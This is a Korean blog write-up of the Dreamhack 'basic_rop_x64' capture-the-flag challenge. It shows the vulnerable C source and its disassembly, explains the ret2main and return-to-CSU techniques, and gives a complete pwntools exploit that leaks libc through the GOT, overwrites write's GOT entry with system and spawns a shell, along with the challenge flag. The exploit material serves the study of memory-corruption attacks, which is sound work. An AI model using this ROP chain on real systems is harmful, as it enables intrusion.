반응형

basic_rop_x64
0.01MB
basic_rop_x64.c
0.00MB
libc.so.6
1.78MB

 

 


문제 실행 시 동작 파악과 보호 기법 확인

 

 

문제에서 주어진 바이너리를 실행하려고 하니 권한이 없다길래 실행 권한이 없다는 것을 확인 후 실행 권한을 주고 실행한다.

 

바이너리 파일이 실행되면 바로 사용자에게 입력을 받는데, "hello world" 라고 입력해보니 입력한 문자열을 그대로 보여주고 있다.

 

 

문제 정보에서도 이미 보호 기법 정보를 제공하고 있지만 다시 한 번 checksec으로 확인해보면 위와 같이 canary 기법은 적용되지 않았고, NX가 설정되어 있다.

 

NX가 설정되어 있다는 것은 실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역이 분리되어 있다는 것이고, 버퍼에 쉘 코드를 주입하거나 주입한 쉘 코드를 실행할 수 없다는 것이다.
(임의의 코드를 주입해 사용하는 것 또한 안된다.)


소스 코드

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

 

buf의 크기는 0x40(64)인데, read() 함수에서 0x400(1024)만큼 입력 받고 있기 때문에 Stack buffer overflow가 발생하게 된다.

 

그리고 read() 함수 다음에 바로 write() 함수를 이용해 화면에 buf의 내용을 출력한다.

 


리버싱

 

0x00000000004007ba <+0>:	push   rbp
0x00000000004007bb <+1>:	mov    rbp,rsp
0x00000000004007be <+4>:	sub    rsp,0x50
0x00000000004007c2 <+8>:	mov    DWORD PTR [rbp-0x44],edi
0x00000000004007c5 <+11>:	mov    QWORD PTR [rbp-0x50],rsi
0x00000000004007c9 <+15>:	lea    rdx,[rbp-0x40]
0x00000000004007cd <+19>:	mov    eax,0x0
0x00000000004007d2 <+24>:	mov    ecx,0x8
0x00000000004007d7 <+29>:	mov    rdi,rdx
0x00000000004007da <+32>:	rep stos QWORD PTR es:[rdi],rax
0x00000000004007dd <+35>:	mov    eax,0x0
0x00000000004007e2 <+40>:	call   0x40075e <initialize>
0x00000000004007e7 <+45>:	lea    rax,[rbp-0x40]
0x00000000004007eb <+49>:	mov    edx,0x400
0x00000000004007f0 <+54>:	mov    rsi,rax
0x00000000004007f3 <+57>:	mov    edi,0x0
0x00000000004007f8 <+62>:	call   0x4005f0 <read@plt>
0x00000000004007fd <+67>:	lea    rax,[rbp-0x40]
0x0000000000400801 <+71>:	mov    edx,0x40
0x0000000000400806 <+76>:	mov    rsi,rax
0x0000000000400809 <+79>:	mov    edi,0x1
0x000000000040080e <+84>:	call   0x4005d0 <write@plt>
0x0000000000400813 <+89>:	mov    eax,0x0
0x0000000000400818 <+94>:	leave
0x0000000000400819 <+95>:	ret
End of assembler dump.

 

0x00000000004007ba <+0>:	push   rbp
0x00000000004007bb <+1>:	mov    rbp,rsp
0x00000000004007be <+4>:	sub    rsp,0x50

 

함수 프롤로그 작업을 한 뒤 0x50(80)만큼 스택 공간을 확보한다.

 

0x00000000004007c2 <+8>:	mov    DWORD PTR [rbp-0x44],edi
0x00000000004007c5 <+11>:	mov    QWORD PTR [rbp-0x50],rsi
0x00000000004007c9 <+15>:	lea    rdx,[rbp-0x40]
0x00000000004007cd <+19>:	mov    eax,0x0
0x00000000004007d2 <+24>:	mov    ecx,0x8
0x00000000004007d7 <+29>:	mov    rdi,rdx
0x00000000004007da <+32>:	rep stos QWORD PTR es:[rdi],rax

 

rbp-0x44 주소에 edi의 값을 담고, rbp-0x50 주소에 rsi 값을 담은 뒤 rbp 레지스터에 있는 값에서 0x40만큼 뺀 값(주소)을 rdx에 넣는다.

 

이어서 eax에 0을 담고, ecx에는 0x8을 담은 뒤 rdx의 값(주소)을 rdi에 담은 후 rep stos 명령을 수행한다.

 

이는 rax에 있는 값을 rcx에 있는 값만큼 반복하여 rdi 값(주소)에 쓴다는 것이다.

 

0x00000000004007dd <+35>:	mov    eax,0x0
0x00000000004007e2 <+40>:	call   0x40075e <initialize>

 

eax에 0을 넣고 initialize() 함수를 호출한다.

 

0x00000000004007e7 <+45>:	lea    rax,[rbp-0x40]
0x00000000004007eb <+49>:	mov    edx,0x400
0x00000000004007f0 <+54>:	mov    rsi,rax
0x00000000004007f3 <+57>:	mov    edi,0x0
0x00000000004007f8 <+62>:	call   0x4005f0 <read@plt>

 

edx에 0x400(1024)을 넣고

 

rbp 레지스터에 있는 값에 0x40(64)만큼 뺀 값(주소)을 rax에 넣고 이어서 rsi로 옮긴다.

 

edi에 0을 넣고 

 

read() 함수를 호출한다.

 

0x00000000004007fd <+67>:	lea    rax,[rbp-0x40]
0x0000000000400801 <+71>:	mov    edx,0x40
0x0000000000400806 <+76>:	mov    rsi,rax
0x0000000000400809 <+79>:	mov    edi,0x1
0x000000000040080e <+84>:	call   0x4005d0 <write@plt>

 

edx에 0x400(1024)을 넣고

 

rbp 레지스터에 있는 값에 0x40(64)만큼 뺀 값(주소)을 rax에 넣고 이어서 rsi로 옮긴다.

 

edi에 1을 넣고

 

write() 함수를 호출한다.

 

0x0000000000400813 <+89>:	mov    eax,0x0
0x0000000000400818 <+94>:	leave
0x0000000000400819 <+95>:	ret

 

eax에 0을 넣고 종료한다.

 


ret2main 기법과 RTC(Return To CSU) 기법

 

이 문제에서는 두 가지 기법으로 문제를 풀 수 있다.

 

ret2main 기법

 

exploit 코드를 작성하면 알게되겠지만, 코드의 순서가 함수의 GOT 값을 알아와 출력하고, GOT Overwrite를 한 후, 해당 함수를 재호출 하는 ROP payload를 전송하고 나서 함수의 GOT 값이 출력된다.

 

이미 ROP payload가 전송된 이후 출력된 함수의 GOT 값과 offset 값 연산을 통해 library의 주소를 가져올 수 있기 때문에 함수의 GOT 값을 알았을 때는 이미 ROP Payload가 전송된 이후이고, 출력된 함수의 GOT 값을 페이로드에 사용하려면 다시 main 함수로 돌아가서 overflow를 일으키는 방법을 써야 하는데 이 방법을 ret2main 기법이라고 한다.

 

ret2main 기법을 적용하면 코드의 순서가 바뀐다.

 

위에서 함수의 GOT 값을 알아와 출력하고, GOT Overwrite를 한 후, 해당 함수를 재호출 하는 ROP payload를 전송한다고 했었는데, 이 때 함수의 GOT 값을 알아와 출력까지만 하고, ret 명령에 의해 main 함수로 리턴되겠끔 ROP payload를 전송한 후 출력된 GOT 값을 이용해 library의 주소도 구하고 system 함수의 주소도 구한 뒤 canary가 적용되어있다면 canary를 우회하는 payload부터 하여 다시 payload를 구성한 뒤 전송하는 방식이다.

 

RTC(Return To CSU) 기법

 

64bit 환경에서는 rdi, rsi, rdx, rcx, r8, r9 레지스터에 첫 번째부터 여섯 번째까지 인자를 넣고, 이 이상의 인자들은 스택에 넣는 호출규약인데, 64bit에서 ROP 문제를 풀다보면 rdi, rsi, rdx 순서에 맞는 코드 가젯이 없거나 부족한 경우가 생긴다.

 

예를 들어 보통 로컬에서 문제를 풀 때는 가젯을 찾을 수 있지만, 원격에서 문제를 풀 경우에는 문제에서 힌트를 제공하지 않으면 가젯을 찾을 수 없기 때문에 이럴 때 사용하는 기법이 RTC 기법이다.

 

https://hg2lee.tistory.com/entry/Return-to-cs-%EA%B8%B0%EB%B2%95-%EC%A0%95%EB%A6%AC

 

C언어를 공부할 때 main() 함수가 맨 처음 실행되는 함수라고 배울 것인데, 시스템에서 프로그램이 실제로 동작할 때는 main() 함수도 함수이기 때문에 main() 함수를 호출하는 것이 있을 것이다.

 

그게 바로 위와 같은 구조인데, __libc_csu_init() -> _start() -> __libc_start_main() 함수를 거친 후 main() 함수가 호출되는 것이다.

 

여기서 RTC 기법에 사용되는게 __libc_csu_init() 함수이다.

 

objdump -d ./basic_rop_x64 | grep "__libc_csu_init" -A 10

 

위와 같이 objdump 명령으로 __libc_csu_init 함수의 코드 가젯을 보면 40087a 주소에 있는 코드 가젯과 400860에 있는 코드 가젯이 있는데, 이 두 부분을 이용하는 것이다.

 

먼저 40087a 주소에 있는 코드 가젯을 보면 pop 명령을 이용해 스택에 있는 값들을 차례대로 rbx, rbp, r12, r13, r14, r15에 넣는다.

(이때 ret의 주소는 pop rbx 부분에 맞춰주어야 한다고 한다.)

 

그리고 400860 주소에 있는 코드 가젯을 보면 r13에 있는 값을 rdx(첫 번째 인자), r14에 있는 값을 rsi(두 번째 인자), r15에 있는 값을 edi(세번째 인자)에 넣고, call 명령으로 r12  + rbx + 8 주소로 이동하게 된다.

 

이때 rbx의 값을 0으로 해줘야 r12 + 0 * 8 이므로 r12 레지스터에 담긴 값으로 이동하게 되는데, 즉, r12 레지스터에 호출하고자 하는 함수의 주소를 넣어주면 된다는 것이다.

 

또한 일반적인 ROP 기법에서는 실행하고자 하는 함수의 PLT 주소를 넣어주지만, RTC에서는 r12레지스터에 있는 값(주소)을 바로 실행하기 때문에 r12 레지스터에 실행하고자 하는 함수의 GOT 주소를 넣어줘야 한다.

(PLT에는 GOT의 주소가 있고, 해당 GOT 주소 안에 있는 값이 함수의 실제 주소이기 때문이다.)

 

 

400860 주소에 있는 코드 가젯을 보면 r12 레지스터에 있는 값을 실행하고 rbx에 1을 더한 뒤 rbp 레지스터에 있는 값과 비교하는데, 만약 payload에서 rbp의 값을 1로 설정하고, rbx의 값을 0으로 설정해두면 후에 rbx에 1을 더하는 명령으로 인해 rbx와 rbp가 같아지기 때문에 400860 주소로 점프하지 않고 400876 주소의 명령이 수행되므로 ROP와 동일하게 연속적으로 인자를 넣어주고 원하는 함수를 호출하여 쓸 수 있게 된다.

 

단, 주의해야 할 점이 있는데, 400876 주소의 명령을 보면 add 0x08, rsp으로 rsp 레지스터의 값(주소)에 8을 더해 스택을 정리하고 있다.

이 부분 때문에 rbp의 값을 1로 맞추고, rbx의 값을 0으로 맞춘뒤 rbx에 1을 증가했을 때 비교하여 같아지니 400876주소로 이동했을 때 add 0x08, rsp 명령에 의해 함수화가 일어나게 된다.

 

그러므로 페이로드를 작성 시 레지스터에 값들을 넣을 때 rbx에 0, rbp에 1을 넣기 전 8개의 dummy 값을 줘야 한다.

 

쉽게 말해, payload가 40087a -> 레지스터들에 넣을 값 -> 400860 ->  400876 -> dummy(8) -> 레지스터들에 넣을 값 -> 400860 -> 400876 -> dummy(8) -> 레지스터들에 넣을 값 -> 400860 구조라는 것이다.

 

RTC 기법은 아래의 내용을 참고했다.

https://hg2lee.tistory.com/entry/Return-to-cs-%EA%B8%B0%EB%B2%95-%EC%A0%95%EB%A6%AC

 


exploit

 

이번 문제에서는 canary를 우회할 필요가 없기 때문에 훨씬 수월하다.

 

rop 문제에서처럼 system() 함수의 주소를 구해 GOT overwrite로 system("/bin/sh")를 호출하게 하면 되는데, 바이너리에 원하는 코드 가젯이 없거나 부족하다.

 

이렇게 원하는 가젯이 없거나 부족할 때 사용하는 기법이 RTC 기법이므로 RTC 기법을 이용해 푼다.

 

 

그리고 이 바이너리에서는 read() 함수와 write() 함수를 호출하고 있는데, 이는 ROP Chain을 통해 호출할 수 있는 함수가 read()와 write() 두개 뿐이라는 것이고, 이렇게 한 번 호출된 함수들은 재호출 때 빠르게 접근해서 실행할 수 있도록 GOT 영역에 함수의 실제 주소를 담기 때문에 실제 주소를 가져와 offset 값을 빼주면 library의 base 주소를 구할 수 있다.

1. 라이브러리 함수 호출

2. PLT에는 호출한 라이브러리 함수의 GOT 주소가 있는데,
GOT에 실제 함수 주소를 쓰기 전에는 아직 GOT에 라이브러리 함수@plt+offset의 주소가 있다.

3. dl_runtime_resolve_xsavec() 함수가 호출되고 이 과정에서 실제 함수 주소가 구해지고 GOT에 주소가 써진다.

 

이렇게 구한 library의 base 주소에 system() 함수의 offset 값을 더하면 그게 실제 system() 함수의 주소이다.

 

하지만 read() 함수의 실제 주소를 구해야 read() 함수의 실제 주소에서 read() 함수의 offset 값을 빼 library의 base 주소를 구할 수 있을 것이다.

 

이때 RTC 기법을 이용해 read() 함수의 실제 주소 값을 구한다.

 

1. read() 함수의 GOT 값을 write() 함수를 통해 출력한다.
2. read() 함수를 통해 bss 영역에다 "/bin/sh" 문자열을 입력한다.
3. read() 함수를 이용해 write() 함수의 GOT 값을 system() 함수의 실제 주소로 덮어쓴다.(GOT Overwrite)
4. write() 함수의 GOT를 호출하여 실질적으로 system() 함수를 호출함으로써 셸을 얻는다.

 

exploit 과정은 위와 같다.

 

from pwn import *

p = remote('host3.dreamhack.games', 23787)

libc = ELF('./libc.so.6')

e = ELF('./basic_rop_x64')

# got
read_got = e.got['read']
write_got = e.got['write']

# offset
system_offset = libc.symbols['system']
read_offset = libc.symbols['read']

# 400860:       4c 89 ea                mov    %r13,%rdx
# 400863:       4c 89 f6                mov    %r14,%rsi
# 400866:       44 89 ff                mov    %r15d,%edi
# 400869:       41 ff 14 dc             callq  *(%r12,%rbx,8)
# 40086d:       48 83 c3 01             add    $0x1,%rbx
# 400871:       48 39 eb                cmp    %rbp,%rbx
# 400874:       75 ea                   jne    400860 <__libc_csu_init+0x40>

# 400876:       48 83 c4 08             add    $0x8,%rsp
# 40087a:	5b                   	pop    %rbx
# 40087b:	5d                   	pop    %rbp
# 40087c:	41 5c                	pop    %r12
# 40087e:	41 5d                	pop    %r13
# 400880:	41 5e                	pop    %r14
# 400882:	41 5f                	pop    %r15
# 400884:	c3                   	retq

rtc1 = 0x40087a
rtc2 = 0x400860

# .bss section addr
binsh = e.bss()


# write(1, read_got, 8)
# print addr of read_got
payload = b'a' * 0x48 # stack + sfp
payload += p64(rtc1) # libc_csu_init()
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1
payload += p64(write_got) # r12
payload += p64(8) # rdi = r13
payload += p64(read_got) # rsi = r14
payload += p64(1) # rdx = r15
payload += p64(rtc2) # libc_csu_init()

# read(0, binsh, 8)
# The part that allows the user to enter the string "/bin/sh" in the bss area
payload += b'b' * 0x8 # add rsp, 0x8
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1
payload += p64(read_got) # r12
payload += p64(8) # r13
payload += p64(binsh) # r14
payload += p64(0) # r15
payload += p64(rtc2) # ret = libc_csu_init() gadget 2

# read(0, write_got, 8)
# A part that allows the user to put the actual address of the system() function
# in the GOT of the write() function
payload += b'c' * 0x8 # add rsp, 0x8
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1
payload += p64(read_got) # r12
payload += p64(8) # r13
payload += p64(write_got) # r14
payload += p64(0) # r15
payload += p64(rtc2) # ret = libc_csu_init() getget 2

# write("/bin/sh") == system("/bin/sh")
# The part that actually calls the system() function by re-calling the write() function
payload += b'd' * 0x8 # add rsp, 0x8
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1
payload += p64(write_got) # r12
payload += p64(0) # r13
payload += p64(0) # r14
payload += p64(binsh) # 15
payload += p64(rtc2) # ret = libc_csu_init() getget 2

# send and exploit
p.sendline(payload)
p.recv(0x40) # because write() buffer is 0x40
read_addr = u64(p.recvn(6) + b'\x00' * 2)

lb = read_addr - read_offset
system_addr = lb + system_offset

print("libc base addr : ", lb)
print("system addr : ", system_addr)

p.send(b'/bin/sh\x00')
p.sendline(p64(system_addr))

p.interactive()

 

DH{357ad9f7c0c54cf85b49dd6b7765fe54}

https://hg2lee.tistory.com/entry/HackCTF-RTC

 

https://lclang.tistory.com/94

 

ret2main : https://velog.io/@eogns1208/Exploit-Technique-Return-Oriented-Programming

 

plt -> got -> real addr : https://dreamhack.io/forum/qna/2224

 

plt resolve : https://learn.dreamhack.io/66#11

 

objdump와 readelf로 코드 가젯과 함수의 offset 알아내는 법 : https://learn.dreamhack.io/3#21

 

 

반응형

'전쟁 > Dreamhack Pwn' 카테고리의 다른 글

[Dreamhack pwn] fho  (0) 2023.01.26
[Dreamhack pwn] basic_rop_x86  (0) 2023.01.21
[Dreamhack pwn] rop  (2) 2023.01.14
[Dreamhack pwn] Return to Library  (0) 2023.01.07
[Dreamhack pwn] ssp_001  (0) 2023.01.05

+ Recent posts